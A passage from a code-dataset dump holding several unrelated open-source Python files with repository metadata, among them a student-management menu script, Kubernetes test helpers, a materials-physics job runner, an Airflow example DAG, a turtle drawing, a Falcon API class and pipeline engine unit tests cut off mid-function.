user_ipt()\n","repo_name":"mswhitby/week-3-problems-6284260","sub_path":"calc_damage.py","file_name":"calc_damage.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2525739603","text":"from courses import Course\nfrom student import Student\n\ncourses_list = []\nstudent_list = []\ndef get_students_list(students):\n for student in students:\n print(str(student.student_number) + \"\\t\\t\" + student.student_name + \"\\t\\t\" + student.student_class)\ndef get_course_list(courses):\n for course in courses:\n course.get_course_details()\n\ndef find_student(student_number, students):\n index = 0\n for i in students:\n if i.student_number == student_number:\n return index\n index += 1\n return -1\n\ndef find_course(course_name, courses):\n index = 0\n for i in courses:\n if i.course_name in course_name:\n return index\n index += 1\n return -1\n\n\ndef update(student_name, student_class,studentNum=None):\n i = find_student(student_number=studentNum, students=student_list)\n if i != -1:\n student_list[i].student_name = student_name\n student_list[i].student_class = student_class\n\n\nwhile True:\n x = int(input(\"Select Choice:\\n1.Add new Student \\n2.Remove Students \\n3.Edit Student\\n4.Display all Students\\n5.Create New Course\\n6.Add Course to Student\\n0.Exit\"))\n if x == 1:\n student_name = input(\"Enter Student Name: \")\n student_class = None\n while True:\n student_class = input(\"Select Course class from A or B or C: \")\n if student_class in [\"A\", \"B\", \"C\"]:\n break\n\n student_id = len(student_list) + 1\n student = Student(student_id,student_name, student_class)\n student_list.append(student)\n print(\"Student saved successfully\")\n\n elif x == 2:\n try:\n get_students_list(student_list)\n student_id = int(input(\"Enter Student id: \"))\n index = find_student(student_id, student_list)\n if index == -1:\n print(\"Student not exist\")\n else:\n # student_list.remove(student_list[index])\n student_list.pop(index)\n print(\"delete done successful\")\n\n get_students_list(student_list)\n\n except:\n print(\"Error\")\n elif x == 3:\n student_id = int(input(\"Enter Student id: \"))\n index = find_student(student_id, student_list)\n if index == -1:\n print(\"user not exist\")\n else:\n student_name = input(\"Enter Student Name: \")\n student_class = None\n while True:\n student_class = input(\"Select Course class from A or B or C: \")\n if student_class in [\"A\", \"B\", \"C\"]:\n break\n # student = Student(student_name, student_class)\n updat_list = update(student_name = student_name, student_class = student_class, studentNum=student_id)\n\n get_students_list(student_list)\n print(\"Student Updated successfully\")\n\n elif x == 4:\n get_students_list(student_list)\n\n elif x == 5:\n course_name = input(\"Enter Course Name: \")\n course_class = None\n while True:\n course_class = input(\"Select Course class from A or B or C: \")\n if course_class in [\"A\", \"B\", \"C\"]:\n break\n\n course_id = len(courses_list) + 1\n course = Course(course_id,course_name, course_class)\n courses_list.append(course)\n print(\"Course Created\")\n\n elif x == 6:\n try:\n student_id = int(input(\"Enter Student Number: \"))\n course_name = input(\"Enter Course name: \")\n course_index = find_course(course_name, courses_list)\n Student_index = find_student(student_id, student_list)\n if Student_index == -1:\n print(\"Student Not Exist\")\n else:\n if course_index == -1:\n print(\"Course Not Exist\")\n else:\n student_list[Student_index].add_course(courses_list[course_index])\n for i in student_list[Student_index].courses_list:\n print(i.course_name)\n except:\n print(\"Error\")\n\n elif x == 0:\n exit()","repo_name":"israaibrahim07/FinalTaskProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25187889387","text":"from kubernetes.client.rest import ApiException\nfrom botocore.exceptions import ClientError\nfrom management_api_tests.config import NO_SUCH_BUCKET_EXCEPTION, RESOURCE_NOT_FOUND, \\\n CheckResult, TERMINATION_IN_PROGRESS\nimport logging\n\n\ndef check_bucket_existence(minio_client, bucket):\n try:\n minio_client.list_objects_v2(Bucket=bucket)\n\n except ClientError as e:\n error_code = e.response['Error']['Code']\n if error_code == NO_SUCH_BUCKET_EXCEPTION:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n logging.error(e)\n return CheckResult.ERROR\n\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n\n return CheckResult.RESOURCE_AVAILABLE\n\n\ndef check_namespace_availability(api_instance, namespace):\n response = None\n try:\n response = api_instance.read_namespace_status(namespace)\n\n except ApiException as apiException:\n if apiException.status == RESOURCE_NOT_FOUND:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n return CheckResult.ERROR\n\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n\n if response and response.status.phase == TERMINATION_IN_PROGRESS:\n return CheckResult.RESOURCE_BEING_DELETED\n return CheckResult.RESOURCE_AVAILABLE\n\n\ndef check_namespaced_secret_existence(api_instance, secret_name, secret_namespace):\n try:\n api_instance.read_namespaced_secret(secret_name, secret_namespace)\n\n except ApiException as apiException:\n if apiException.status == RESOURCE_NOT_FOUND:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n return CheckResult.ERROR\n\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n return CheckResult.RESOURCE_AVAILABLE\n\n\ndef check_copied_secret_data_matching_original(api_instance, secret_name,\n original_secret_namespace,\n copied_secret_namespace):\n try:\n original_secret = api_instance.read_namespaced_secret(secret_name,\n original_secret_namespace)\n copied_secret = api_instance.read_namespaced_secret(secret_name, copied_secret_namespace)\n\n except ApiException as apiException:\n if apiException.status == RESOURCE_NOT_FOUND:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n return CheckResult.ERROR\n\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n\n if original_secret.data == copied_secret.data:\n return CheckResult.CONTENTS_MATCHING\n return CheckResult.CONTENTS_MISMATCHING\n\n\ndef check_resource_quota_matching_provided(api_instance, tenant_name, provided_quota):\n try:\n resource_quota = api_instance.read_namespaced_resource_quota(name=tenant_name,\n namespace=tenant_name)\n except ApiException as apiException:\n if apiException.status == RESOURCE_NOT_FOUND:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n return CheckResult.ERROR\n\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n\n if resource_quota.spec.hard == provided_quota:\n return CheckResult.CONTENTS_MATCHING\n return CheckResult.CONTENTS_MISMATCHING\n\n\ndef check_role_existence(rbac_api_instance, namespace, role):\n response = None\n try:\n response = rbac_api_instance.read_namespaced_role(role, namespace)\n except ApiException as apiException:\n if apiException.status == RESOURCE_NOT_FOUND:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n return CheckResult.ERROR\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n logging.info(response)\n return CheckResult.RESOURCE_AVAILABLE\n\n\ndef check_rolebinding_existence(rbac_api_instance, namespace, rolebinding):\n response = None\n try:\n response = rbac_api_instance.read_namespaced_role_binding(rolebinding, namespace)\n except ApiException as apiException:\n if apiException.status == RESOURCE_NOT_FOUND:\n return CheckResult.RESOURCE_DOES_NOT_EXIST\n return CheckResult.ERROR\n except Exception as e:\n logging.error(e)\n return CheckResult.ERROR\n logging.info(response)\n return CheckResult.RESOURCE_AVAILABLE\n","repo_name":"IntelAI/inference-model-manager","sub_path":"tests/management_api_tests/tenants/tenant_utils.py","file_name":"tenant_utils.py","file_ext":"py","file_size_in_byte":4422,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"67"} +{"seq_id":"10869659473","text":"#!/usr/bin/env python3\nimport re,sys,string,os,signal,time,subprocess #commands\nscfile = open(\"Materials.ctrls.database\",'rt').read().split('\\n')\n#print scfile\nsec={}\naaa=''\nfindsection=False\n\n### find sections ###\nfor line in scfile:\n if findsection:\n if line[0:3]=='---' :\n sec[tag]=aaa\n aaa=''\n findsection= False\n else: \n aaa = aaa+ line+'\\n'\n\n if line=='' : continue\n if line[0]=='#': continue\n if line[0]=='=': continue\n\n m=re.match(r'^\\w+:',line)\n if m: \n findsection= True\n tag=m.group()\n #print 'find a section=', tag\n aaa=''\n#print sec.keys()\nprint\nmaterial={}\nfor line in sec['DATASECTION:'].split('\\n'):\n if line=='' : continue\n if line[0]=='#': continue\n if line[0]==' ': continue\n if line[0]=='\\t': continue\n #print line\n m=re.match(r'\\w+\\s',line)\n mater=m.group().strip()\n content=line[len(mater):]\n material[mater]= content.lstrip()\n #print mater,'--->',material[mater]\nAllMaterials= material.keys()\nAllMaterials=sorted(AllMaterials)\nprint\nprint('=== Materials in Materials.ctrls.database are:===')\naaa=''\nix=0\nfor x in AllMaterials:\n aaa= aaa + ' '+ x\n ix=ix+1\n if(ix==10): \n print( aaa)\n ix=0\n aaa=''\nprint(aaa)\n\n###############\nnargv = len(sys.argv) -1\nargs=sys.argv[1:]\nargset= set(sys.argv[1:])\n#print argset\n\nnumcore='2'\nif '-np' in args:\n ii=args.index('-np')\n numcore=args[ii+1]\n args.remove('-np')\n args.remove(numcore)\n\n#####################################################\nprint \nif not '--noexec' in argset:\n for i in ['LaGaO3','4hSiC','Bi2Te3']:\n if i not in argset:\n print( ' \"--all\" skips ',i,', otherwise added explicitly.')\n AllMaterials.remove(i)\n#print AllMaterials\n#sys.exit()\n#AllMaterials=AllMaterials.split('\\s*')\n#####################################################\n\n\nif ('--all' in argset):\n\tchoosedmaterials=AllMaterials\nelif(nargv==0 or '--help' in argset):\n print()\n print( \"=== HELP: job_marerials.py ===\")\n print(\" PURPOSE: Perform GGA/LDA calculations for sysmtems in Materials.ctrl.database\")\n print(\" This makes directory for each. See llmf(Console output) and save.* (Energy)\")\n print(\" USAGE: job_materials.py [options] \")\n print(\" [options] are material names above separeted by space.\")\n print(\" --all : all materials are specified (in an hour now.)\")\n print(\" --noexec: Not do lmf. Just generates directories and ctrl files\")\n print(\" -np 2 : Number of core for lmf-MPIK. 2 core is default.\")\n print(\" (WARN! settings for all atoms are not yet examined carefully. Let me know something wrong.)\" )\n print(\" \")\n print(\" \")\n print(\" --- Please type job_materials.py with above options!!! ---\" )\n print(\" type ./job_check (show save file), even during running.\" )\n print(\" \")\n sys.exit(0)\nelse:\n choosedmaterials=args\n\n print()\n print(' ==>We use cores -np =',numcore)\n\n###########################################\nprint()\nprint(' We are going to do LDA/GGA for ',choosedmaterials)\ndummy=input(' !!! Go ahead? Push return to continue !!!')\nif dummy != '': sys.exit()\n\n################################################\nfor matr in choosedmaterials:\n if matr =='--noexec': continue\n lll = material[matr]\n m = re.search(r'\\w+:',lll)\n STRUCTURE= m.group()\n #print(STRUCTURE\n aaa= re.sub(STRUCTURE,'',material[matr]).lstrip()\n matdat= re.split(r'\\s+',aaa)\n print(matdat)\n #sys.exit()\n constdat=''\n option=''\n optionlmf=''\n optiongw=''\n for ii in matdat:\n print(ii)\n if re.match(r'@[0-9]+=',ii):\n pass\n elif re.match(r'--\\w*',ii):\n option=option +' ' + ii\n elif re.match(r'lmf-+\\w*',ii):\n optionlmf=optionlmf +' ' + ii.lstrip('lmf')\n elif re.match(r'mkGW-+\\w*',ii):\n optiongw= ii.lstrip('mkGW-')\n optiongw= ' '+re.sub(',',' ',optiongw)+ ' '\n else:\n constdat=constdat+' '+ii\n \n aaa= '#id = '+ matr +'\\n'\n #print(STRUCTURE\n #print(sec\n structemp = sec[STRUCTURE]\n #print('---- -----'\n #m = re.findall(r'@[0-9]+',sec[STRUCTURE])\n #print(m\n #print('*************************'\n for ix in matdat:\n try:\n m=re.match(r'@[0-9]+=',ix)\n mid= m.group()\n mat=re.split(mid,ix)\n #print('vvvvvvvv',mid[0:-1],mat[1]\n structemp=re.sub(mid[0:-1]+' ',mat[1]+' ',structemp)\n structemp=re.sub(mid[0:-1]+'\\n',mat[1]+'\\n',structemp)\n except:\n pass\n stot='' \n for iss in structemp.split('\\n'):\n if re.match(r'\\%\\s*const',iss):\n iss= iss + constdat\n stot=stot+iss+'\\n'\n aaa = aaa+ stot\n ext=matr.lower()\n ctrlsnm = \"ctrls.\"+ext\n ctrlgenc= 'ctrlgenM1.py '+ext+' ' + option \n print( '============ start================================')\n print( '=== /'+matr+' : ',ctrlsnm,' '+option+ ' ===')\n print( ' command=',ctrlgenc)\n print( aaa)\n\n ctrls = open(ctrlsnm ,'w')\n ctrls.write(aaa)\n ctrls.close()\n\n os.system(ctrlgenc)\n os.system('mkdir '+matr)\n os.system('cp ctrlgenM1.ctrl.'+ext+' ctrl.'+ext)\n os.system('cp -f *.'+ext +' '+matr)\n if os.path.exists(\"./RSEQ_ERROR\"): os.system('cp -f RSEQ* '+matr)\n os.system('rm -f *tmp* RSEQ*')\n rdir=os.path.dirname(os.path.abspath(sys.argv[0]))\n wdir= os.path.dirname(os.path.abspath(sys.argv[0]))+'/'+matr\n\n os.chdir(wdir)\n os.system('pwd')\n os.system('lmfa '+ext+optionlmf+' >llmfa')\n print( 'mkGWinput '+ext+optiongw +'> lmkGWIN')\n os.system('mkGWinput '+ext+optiongw +'> lmkGWIN')\n os.system('cp GWinput.tmp GWinput')\n \n #joblmf='lmf '+ext+optionlmf+' >llmf' \n joblmf='mpirun -np '+numcore+' lmf-MPIK '+ext+optionlmf+' >llmf'\n print ('Runnning!: ',joblmf, ' ;this is in joblmf file.')\n os.system('echo '+joblmf +'>joblmf')\n if ('--noexec' in argset):\n pass\n else:\n try:\n #out=subprocess.run(joblmf,shell=True)\n os.system(joblmf)\n os.system('echo Finished!: tail '+matr+'/save.'+ext +':` tail -n 1 save.'+ext+'`')\n except KeyboardInterrupt:\n 'Keyboad interrrupt by user'\n sys.exit()\n print ('============ end ================================')\n os.chdir(rdir)\n #os.system('pwd')\n os.system('echo \"\"')\n os.system('echo \"\"')\n\n","repo_name":"tkotani/ecalj","sub_path":"MATERIALS/job_materials.py","file_name":"job_materials.py","file_ext":"py","file_size_in_byte":6542,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"67"} +{"seq_id":"13405966395","text":"import json\nfrom datetime import datetime, timedelta\n\nfrom airflow.decorators import dag, task # DAG and task decorators for interfacing with the TaskFlow API\n\n\n@dag(\n # This defines how often your DAG will run, or the schedule by which your DAG runs. In this case, this DAG\n # will run every 30 mins\n schedule_interval=timedelta(minutes=30),\n # This DAG is set to run for the first time on January 1, 2021. Best practice is to use a static\n # start_date. Subsequent DAG runs are instantiated based on scheduler_interval\n start_date=datetime(2021, 1, 1),\n # When catchup=False, your DAG will only run for the latest schedule_interval. In this case, this means\n # that tasks will not be run between January 1, 2021 and 30 mins ago. When turned on, this DAG's first\n # run will be for the next 30 mins, per the schedule_interval\n catchup=False,\n tags=['example']) # If set, this tag is shown in the DAG view of the Airflow UI\ndef example_dag_basic():\n \"\"\"\n ### Basic ETL Dag\n This is a simple ETL data pipeline example that demonstrates the use of\n the TaskFlow API using three simple tasks for extract, transform, and load.\n For more information on Airflow's TaskFlow API, reference documentation here:\n https://airflow.apache.org/docs/apache-airflow/stable/tutorial_taskflow_api.html\n \"\"\"\n\n @task()\n def extract():\n \"\"\"\n #### Extract task\n A simple \"extract\" task to get data ready for the rest of the\n pipeline. In this case, getting data is simulated by reading from a\n hardcoded JSON string.\n \"\"\"\n data_string = '{\"1001\": 301.27, \"1002\": 433.21, \"1003\": 502.22}'\n\n order_data_dict = json.loads(data_string) \n return order_data_dict\n\n @task(multiple_outputs=True) # multiple_outputs=True unrolls dictionaries into separate XCom values\n def transform(order_data_dict: dict):\n \"\"\"\n #### Transform task\n A simple \"transform\" task which takes in the collection of order data and\n computes the total order value.\n \"\"\"\n total_order_value = 0\n\n for value in order_data_dict.values():\n total_order_value += value\n\n return {\"total_order_value\": total_order_value}\n\n @task()\n def load(total_order_value: float):\n \"\"\"\n #### Load task\n A simple \"load\" task that takes in the result of the \"transform\" task and prints it out,\n instead of saving it to end user review\n \"\"\"\n\n print(f\"Total order value is: {total_order_value:.2f}\")\n\n order_data = extract()\n order_summary = transform(order_data)\n load(order_summary[\"total_order_value\"])\n\nexample_dag_basic = example_dag_basic()","repo_name":"sungchun12/airflow-dbt-cloud","sub_path":"archive/example-dag-basic.py","file_name":"example-dag-basic.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"67"} +{"seq_id":"35738757892","text":"from random import choice, randint\nimport turtle as t\n\n\ntim = t.Turtle()\nt.screensize(10, 10)\n# Make a dotted Line.\n\n# def dash():\n# space = 15\n\n# for _ in range(20):\n# tim.dot()\n# tim.penup()\n# tim.forward(space)\n# tim.pendown()\n\n\n# for _ in range(4):\n# dash()\n# tim.right(90)\n\n# Make a dashed line\n\n# for _ in range(20):\n# tim.forward(5)\n# tim.penup()\n# tim.forward(5)\n# tim.pendown()\n\n\n# Make a overlapping geometry of shapes with a common base\n\n# colors = ['gray', 'deep pink', 'gold', 'blue violet', 'lime', 'dark blue']\n\n# for side_n in range(3, 9):\n\n# for _ in range(side_n):\n# tim.color(choice(colors))\n# tim.forward(150)\n# tim.right(360/side_n)\n\n# ----------------------------------------------------\n\n# RANDOM WALK\n\n# ----------------------------------------------------\n\n\n# RAndom Color Generation via RGB format\nt.colormode(255)\n\n\n# colors = ['gray', 'deep pink', 'gold', 'blue violet', 'lime', 'dark blue']\n\n\n# east = 0 west = 1 north = 2 south = 3\nangle = [0, 90, 180, 270]\ntim.pensize(12)\ntim.speed(0)\n\n\nfor _ in range(200):\n random_angle = choice(angle)\n tim.left(random_angle)\n r = randint(0, 255)\n g = randint(0, 255)\n b = randint(0, 255)\n # generate random color\n tim.color((r, g, b))\n\n tim.forward(30)\n\n\nmy_screen = t.Screen()\n\nmy_screen.exitonclick()\n","repo_name":"viditvarshney/100DaysOfCode","sub_path":"Day18/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29176427638","text":"\"\"\"\n api\n ~~~\n\n Our custom sub-class of the falcon.API main object.\n\n API will load the routes, order the middleware's, &\n register our custom request/response objects.\n\"\"\"\n\nimport falcon\nimport goldman\nimport json\n\nfrom goldman.request import Request\nfrom goldman.response import Response\n\n\n__all__ = ['API']\n\n\nclass API(falcon.API):\n \"\"\" Subclass the falcon.API object with our own\n\n Goldman uses custom request, response, & route loading\n techniques when compared to the falcon.API object.\n \"\"\"\n\n MIDDLEWARE = []\n RESOURCES = []\n ROUTES = []\n\n def __init__(self):\n\n middleware = [\n goldman.SecurityMiddleware(),\n goldman.HttpSpecsMiddleware(),\n goldman.DeserializerMiddleware(),\n goldman.SerializerMiddleware(),\n goldman.ModelQpsMiddleware(),\n goldman.ThreadLocalMiddleware(),\n ]\n middleware += self.MIDDLEWARE\n\n super(API, self).__init__(\n middleware=middleware,\n request_type=Request,\n response_type=Response,\n )\n\n self._load_resources()\n self._load_routes()\n self.set_error_serializer(self._error_serializer)\n\n def _load_resources(self):\n \"\"\" Load all the native goldman resources.\n\n The route or API endpoint will be automatically determined\n based on the resource object instance passed in.\n\n INFO: Only our Model based resources are supported when\n auto-generating API endpoints.\n \"\"\"\n\n for resource in self.RESOURCES:\n if isinstance(resource, goldman.ModelsResource):\n route = '/%s' % resource.rtype\n elif isinstance(resource, goldman.ModelResource):\n route = '/%s/{rid}' % resource.rtype\n elif isinstance(resource, goldman.RelatedResource):\n route = '/%s/{rid}/{related}' % resource.rtype\n else:\n raise TypeError('unsupported resource type')\n\n self.add_route(*(route, resource))\n\n def _load_routes(self):\n \"\"\" Load all the routes.\n\n A class constant of ROUTES is expected containing\n an array of tuples in the following format:\n\n\n ROUTES = [\n ('/', )\n ]\n\n\n A real life example with meaningful endpoints & resource\n instances would look like:\n\n\n ROUTES = [\n ('/logins', goldman.ModelsResource(LoginModel)),\n ('/logins/{rid}', goldman.ModelResource(LoginModel)),\n ]\n\n\n This is the same format the native falcon `add_route`\n method wants the routes.\n \"\"\"\n\n for route in self.ROUTES:\n self.add_route(*route)\n\n # XXX FIX: API changed in falcon 0.4.0\n @staticmethod\n def _error_serializer(req, exc): # pylint: disable=unused-argument\n \"\"\" Serializer for native falcon HTTPError exceptions.\n\n We override the default serializer with our own so we\n can ensure the errors are serialized in a JSON API\n compliant format.\n\n Surprisingly, most falcon error attributes map directly\n to the JSON API spec. The few that don't can be mapped\n accordingly:\n\n\n HTTPError JSON API\n ~~~~~~~~~ ~~~~~~~~\n\n exc.description -> error['detail']\n exc.link['href'] -> error['links']['about']\n\n\n Per the falcon docs this function should return a tuple\n of (MIMETYPE, BODY PAYLOAD)\n \"\"\"\n\n error = {\n 'detail': exc.description,\n 'title': exc.title,\n 'status': exc.status,\n }\n\n try:\n error['links'] = {'about': exc.link['href']}\n except (TypeError, KeyError):\n error['links'] = {'about': ''}\n\n return (\n goldman.config.JSONAPI_MIMETYPE,\n json.dumps({'errors': [error]}),\n )\n","repo_name":"sassoo/goldman","sub_path":"goldman/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"23483871089","text":"import numpy as np\nimport cv2\n\ncap = cv2.VideoCapture(0)\ncap.set(3,640) # set Width\ncap.set(4,480) # set Height\n\nwhile (True):\n ret, frame = cap.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n cv2.imshow('frame', frame)\n cv2.imshow('gray', gray)\n\n k = cv2.waitKey(1)\n if (k & 0xFF == ord('q')):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"ntpt7921/RaspPi_AttendanceSystem","sub_path":"face_recognition/testWebcam.py","file_name":"testWebcam.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"29049545646","text":"import traceback\n\nfrom django.test import TestCase\n\nfrom pipeline.django_signal_valve import valve\nfrom pipeline.engine import exceptions, signals, states\nfrom pipeline.engine.models import Status\nfrom pipeline.engine.models.core import PipelineModel, PipelineProcess, ProcessSnapshot, SubProcessRelationship\nfrom pipeline.engine.utils import Stack\nfrom pipeline.tests.mock_settings import * # noqa\n\nfrom ..mock import * # noqa\n\nvalve.unload_valve_function()\n\n\nclass TestPipelineProcess(TestCase):\n def test_prepare_for_pipeline(self):\n pipeline = PipelineObject()\n\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n self.assertEqual(len(process.id), 32)\n self.assertEqual(process.root_pipeline_id, pipeline.id)\n self.assertEqual(process.current_node_id, pipeline.start_event.id)\n self.assertIsNotNone(process.snapshot)\n self.assertEqual(process.top_pipeline.id, pipeline.id)\n\n def test_fork_child(self):\n context = MockContext()\n context.clear_change_keys = MagicMock()\n pipeline = PipelineObject(context=context)\n current_node_id = uniqid()\n destination_id = uniqid()\n\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n child = PipelineProcess.objects.fork_child(\n parent=process, current_node_id=current_node_id, destination_id=destination_id\n )\n self.assertEqual(len(child.id), 32)\n self.assertEqual(process.root_pipeline_id, child.root_pipeline_id)\n self.assertEqual(len(child.pipeline_stack), 1)\n self.assertEqual(child.top_pipeline.id, process.top_pipeline.id)\n self.assertEqual(process.children, child.children)\n self.assertEqual(process.root_pipeline.id, child.root_pipeline.id)\n self.assertEqual(process.subprocess_stack, child.subprocess_stack)\n self.assertEqual(process.id, child.parent_id)\n self.assertEqual(child.current_node_id, current_node_id)\n self.assertEqual(child.destination_id, destination_id)\n child.top_pipeline.prune.assert_called_once_with(current_node_id, destination_id)\n\n @patch(SIGNAL_VALVE_SEND, MagicMock())\n def test_process_ready(self):\n from pipeline.django_signal_valve.valve import send\n\n process_id = uniqid()\n current_node_id = uniqid()\n\n PipelineProcess.objects.process_ready(process_id)\n send.assert_called_with(\n signals,\n \"process_ready\",\n sender=PipelineProcess,\n process_id=process_id,\n current_node_id=None,\n call_from_child=False,\n )\n PipelineProcess.objects.process_ready(process_id, current_node_id, False)\n send.assert_called_with(\n signals,\n \"process_ready\",\n sender=PipelineProcess,\n process_id=process_id,\n current_node_id=current_node_id,\n call_from_child=False,\n )\n PipelineProcess.objects.process_ready(process_id, current_node_id, True)\n send.assert_called_with(\n signals,\n \"process_ready\",\n sender=PipelineProcess,\n process_id=process_id,\n current_node_id=current_node_id,\n call_from_child=True,\n )\n\n @patch(SIGNAL_VALVE_SEND, MagicMock())\n def test_batch_process_ready(self):\n from pipeline.django_signal_valve.valve import send\n\n process_id_list = [uniqid(), uniqid(), uniqid()]\n pipeline_id = uniqid()\n\n PipelineProcess.objects.batch_process_ready(process_id_list, pipeline_id)\n send.assert_called_with(\n signals,\n \"batch_process_ready\",\n sender=PipelineProcess,\n process_id_list=process_id_list,\n pipeline_id=pipeline_id,\n )\n\n @patch(SIGNAL_VALVE_SEND, MagicMock())\n def test_child_process_ready(self):\n from pipeline.django_signal_valve.valve import send\n\n child_id = uniqid()\n\n PipelineProcess.objects.child_process_ready(child_id)\n send.assert_called_with(signals, \"child_process_ready\", sender=PipelineProcess, child_id=child_id)\n\n def test_properties(self):\n process = PipelineProcess.objects.create()\n pipeline_stack = Stack([\"pipeline1\", \"pipeline2\"])\n subprocess_stack = Stack([\"subprocess1\", \"subprocess2\"])\n children = [\"child1\", \"child2\"]\n root_pipeline = \"root_pipeline\"\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=pipeline_stack,\n children=children,\n root_pipeline=root_pipeline,\n subprocess_stack=subprocess_stack,\n )\n process.snapshot = mock_snapshot\n self.assertEqual(process.pipeline_stack, pipeline_stack)\n self.assertEqual(process.children, children)\n self.assertEqual(process.root_pipeline, root_pipeline)\n self.assertEqual(process.top_pipeline, pipeline_stack.top())\n self.assertEqual(process.subprocess_stack, subprocess_stack)\n\n def test_push_pipeline(self):\n pipeline = \"pipeline_%s\" % uniqid()\n subproc_pipeline = PipelineObject()\n process = PipelineProcess.objects.create()\n pipeline_stack = Stack([\"pipeline1\", \"pipeline2\"])\n subprocess_stack = Stack([\"subprocess1\", \"subprocess2\"])\n children = [\"child1\", \"child2\"]\n root_pipeline = \"root_pipeline\"\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=pipeline_stack,\n children=children,\n root_pipeline=root_pipeline,\n subprocess_stack=subprocess_stack,\n )\n process.snapshot = mock_snapshot\n process.id = uniqid()\n\n process.push_pipeline(pipeline, is_subprocess=False)\n self.assertEqual(process.top_pipeline, pipeline)\n\n process.push_pipeline(subproc_pipeline, is_subprocess=True)\n self.assertEqual(process.top_pipeline, subproc_pipeline)\n self.assertTrue(\n SubProcessRelationship.objects.filter(subprocess_id=subproc_pipeline.id, process_id=process.id).exists()\n )\n\n def test_pop_pipeline(self):\n subproc_pipeline = PipelineObject()\n process = PipelineProcess.objects.create()\n pipeline_stack = Stack([\"pipeline1\", \"pipeline2\"])\n subprocess_stack = Stack([\"subprocess1\", \"subprocess2\"])\n children = [\"child1\", \"child2\"]\n root_pipeline = \"root_pipeline\"\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=pipeline_stack,\n children=children,\n root_pipeline=root_pipeline,\n subprocess_stack=subprocess_stack,\n )\n process.snapshot = mock_snapshot\n process.id = uniqid()\n\n process.push_pipeline(subproc_pipeline, is_subprocess=True)\n self.assertEqual(process.top_pipeline, subproc_pipeline)\n self.assertTrue(\n SubProcessRelationship.objects.filter(subprocess_id=subproc_pipeline.id, process_id=process.id).exists()\n )\n\n pop_pipeline = process.pop_pipeline()\n self.assertEqual(pop_pipeline.id, subproc_pipeline.id)\n self.assertFalse(\n SubProcessRelationship.objects.filter(subprocess_id=subproc_pipeline.id, process_id=process.id).exists()\n )\n\n pop_pipeline = process.pop_pipeline()\n self.assertEqual(pop_pipeline, \"pipeline2\")\n\n pop_pipeline = process.pop_pipeline()\n self.assertEqual(pop_pipeline, \"pipeline1\")\n\n def test_join(self):\n children = [IdentifyObject(), IdentifyObject(), IdentifyObject()]\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[], root_pipeline=\"root_pipeline\", subprocess_stack=Stack()\n )\n process = PipelineProcess.objects.create()\n process.snapshot = mock_snapshot\n\n process.join(children)\n self.assertEqual(process.need_ack, len(children))\n for i in range(len(children)):\n self.assertEqual(process.children[i], children[i].id)\n\n def test_root_sleep_check(self):\n def return_suspended(*args, **kwargs):\n return states.SUSPENDED\n\n def return_revoked(*args, **kwargs):\n return states.REVOKED\n\n def return_blocked(*args, **kwargs):\n return states.BLOCKED\n\n another_status = MagicMock()\n status = [states.CREATED, states.READY, states.RUNNING, states.FINISHED, states.FAILED]\n another_status.side_effect = status\n\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[], root_pipeline=IdentifyObject(), subprocess_stack=Stack()\n )\n process = PipelineProcess.objects.create()\n process.snapshot = mock_snapshot\n\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_suspended):\n self.assertEqual(process.root_sleep_check(), (True, states.SUSPENDED))\n\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_revoked):\n self.assertEqual(process.root_sleep_check(), (True, states.REVOKED))\n\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_blocked):\n self.assertEqual(process.root_sleep_check(), (True, states.BLOCKED))\n process.parent_id = \"parent_id\"\n self.assertEqual(process.root_sleep_check(), (False, states.BLOCKED))\n\n with mock.patch(PIPELINE_STATUS_STATE_FOR, another_status):\n for s in status:\n self.assertEqual(process.root_sleep_check(), (False, s))\n\n def test_subproc_sleep_check(self):\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[], root_pipeline=IdentifyObject(), subprocess_stack=Stack([1, 2, 3, 4])\n )\n process = PipelineProcess.objects.create()\n process.snapshot = mock_snapshot\n\n def return_all_running(*args, **kwargs):\n return [\n StatusObject(id=1, state=states.RUNNING),\n StatusObject(id=2, state=states.RUNNING),\n StatusObject(id=3, state=states.RUNNING),\n StatusObject(id=4, state=states.RUNNING),\n 